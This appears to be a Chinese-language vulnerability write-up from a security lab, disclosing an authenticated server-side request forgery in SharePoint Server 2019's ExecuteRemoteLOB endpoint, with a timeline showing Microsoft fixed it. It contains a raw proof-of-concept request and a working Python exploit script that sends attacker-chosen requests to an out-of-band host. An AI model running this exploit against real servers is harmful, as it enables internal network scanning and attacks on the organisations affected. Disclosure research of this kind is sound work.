Microsoft SharePoint Server认证后服务器端请求伪造漏洞 | STAR Labs
概述
免责声明:研究过程中未伤害任何动漫角色或动物。该漏洞已被修复,但未达到获取CVE的标准。
近期,我们在Microsoft SharePoint Server 2019中发现了一处服务器端请求伪造(SSRF)漏洞,允许经过认证的远程用户向任意URL发送HTTP(S)请求并读取响应。端点<site>/_api/web/ExecuteRemoteLOB存在SSRF漏洞。HTTP(S)请求的方法、路径、头部和正文均可高度自定义。攻击者利用SSRF可扫描内网、检查主机本地网络上的服务存在性,并可能利用其他Web服务。
测试环境:
- Windows Server 2022 + SharePoint Server 2019 - 16.0.10386.20011(含KB5002207,2022年5月更新)
受影响版本
Microsoft SharePoint Server 2019 <= 16.0.10386.20011(2022年5月更新)
漏洞描述
在检查类Microsoft.SharePoint.ServerStub.SPWebServerStub时,我们发现端点<site>/_api/web/ExecuteRemoteLOB因其名称中的"Remote"而显得可疑。进一步调试显示,该端点由Microsoft.SharePoint.dll中的函数Microsoft.SharePoint.BusinessData.SystemSpecific.OData.ODataHybridHelper.InvokeODataService (Stream inputStream)处理,其行为类似HTTP代理服务。该函数接收用户输入创建HttpWebRequest对象,发出请求后返回响应正文。函数InvokeODataService的主要部分如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
// [1]
ODataHybridHeaderProcessor.ValidateODataHeaders(headers);
string text;
string text2;
ODataAuthenticationMode odataAuthenticationMode;
string text3;
string text4;
ODataHybridHeaderProcessor.GetODataServiceInfo(headers, out text, out text2, out odataAuthenticationMode, out text3, out text4);
// [2]
HttpWebRequest httpWebRequest = WebRequest.Create(text) as HttpWebRequest;
httpWebRequest.UserAgent = "Microsoft.Sharepoint";
httpWebRequest.Method = text2;
IDictionary<string, string> odataRequestHeaders = ODataHybridHeaderProcessor.GetODataRequestHeaders(headers);
ODataHybridHelper.SetRequestHeaders(httpWebRequest, odataRequestHeaders);
// [3]
if (text2 == "POST" || text2 == "PUT")
{
using (Stream requestStream = httpWebRequest.GetRequestStream())
{
inputStream.CopyTo(requestStream);
}
}
// [4]
ODataHybridHelper.SetRequestAuthentication(httpWebRequest, odataAuthenticationMode, text3, text4, spoCorrelationId);
httpWebResponse = ODataHybridHelper.ExecuteRequest(httpWebRequest, spoLobId, odataAuthenticationMode, spoCorrelationId);
// [5]
ODataHybridHeaderProcessor.SetODataResponseHeaders(httpWebResponse.Headers);
stream = httpWebResponse.GetResponseStream();
result = stream;
return result;
|
在[1]处,函数ValidateODataHeaders首先确保原始请求中包含头部"BCSOData-Url"、“BCSOData-AuthenticationMode”、“BCSOData-HttpMethod”、“BCSOData-SsoApplicationId"和"BCSOData-SsoProviderImplementation”。然后函数GetODataServiceInfo从这些头部提取值到变量中,用于在[2]处创建HttpWebRequest对象,该对象即服务器稍后将发送的SSRF请求。
随后,调用函数GetODataRequestHeaders和SetRequestHeaders提取以"BCSOData-“开头的剩余头部,并将其附加到SSRF请求头部列表中。
在[3]处,如果头部"BCSOData-HttpMethod"为POST或PUT,则将原始请求正文复制到SSRF请求中。
最后,SSRF请求在[4]处发送,其响应在[5]处返回。
概念验证请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /my/_api/web/ExecuteRemoteLOB HTTP/1.1
Host: cr-srv01
Accept: application/json
BCSOData-Url: http://gqa847opq6818tt8qf100fnqrhx8lx.oastify.com/test?aa=11&bb=22
BCSOData-AuthenticationMode: 1
BCSOData-HttpMethod: POST
BCSOData-SsoApplicationId: 0
BCSOData-SsoProviderImplementation: Microsoft.Office.SecureStoreService.Server.SecureStoreProvider, Microsoft.Office.SecureStoreService, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c
BCSOData-custom-header1: value1
BCSOData-custom-header2: value2
X-RequestDigest: 0xC356CCFFC1A066D89BD439A721456F80F15384CFF57F82B325282E9A59E0322713F87ACD56CD4C5792AE53A3324697173877A15C20FC92176D0EAB68DC55AB2E,12 May 2022 08:02:33 -0000
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
post body
|
攻击条件与限制
攻击者必须是经过认证的用户,且有权访问有效的SharePoint站点。默认站点/my/应可工作。
SSRF请求的响应正文仅在状态码为2xx时返回。否则,将抛出ODataHybridException。
原始请求中的头部X-RequestDigest是CSRF令牌。要获取正确值,只需发送带有错误值的请求,服务器将返回正确的值。
概念验证
以下是我们为演示目的创建的POC脚本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#!/usr/bin/env python3
import argparse
import requests
from requests_ntlm2 import HttpNtlmAuth
def _parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('-u', metavar='DOMAIN\\USERNAME', required=True)
parser.add_argument('-p', metavar='PASSWORD', required=True)
parser.add_argument('-s', metavar='SITE_URL',
help='The user must have access to this site. Usually http://sharepoint.example.com/my/ works',
required=True)
return parser.parse_args()
def exploit(username, password, site_url):
auth = HttpNtlmAuth(username, password)
r = requests.post(f'{site_url}/_api/web/ExecuteRemoteLOB', auth=auth, allow_redirects=False)
if r.status_code != 403:
raise Exception(f'expect status code 403, got {r.status_code}')
headers = {
'BCSOData-Url': 'https://c3g4h31l32lxlp643bewdb0m4da5yu.oastify.com/test', # SSRF url
'BCSOData-AuthenticationMode': '1',
'BCSOData-HttpMethod': 'POST', # request method
'BCSOData-SsoApplicationId': '0',
'BCSOData-SsoProviderImplementation': '0',
'BCSOData-custom-header1': 'value1', # custom headers
'BCSOData-custom-header2': 'value2',
'X-RequestDigest': r.headers['X-RequestDigest'],
}
post_data = 'post body' # request body if the HttpMethod is POST/PUT
r = requests.post(f'{site_url}/_api/web/ExecuteRemoteLOB', auth=auth, allow_redirects=False, headers=headers,
data=post_data)
print(f'payload sent, got response ({len(r.content)} bytes):')
print(r.content)
if __name__ == '__main__':
arg = _parse_args()
exploit(arg.u, arg.p, arg.s)
|
如下图所示,恶意请求URL的完整HTTP响应将被返回。
(图片说明:SSRF响应示例)
感谢阅读!
披露时间线
- 2022年5月12日:向微软披露
- 2022年9月15日:微软确认修复
- 2022年10月25日:公开披露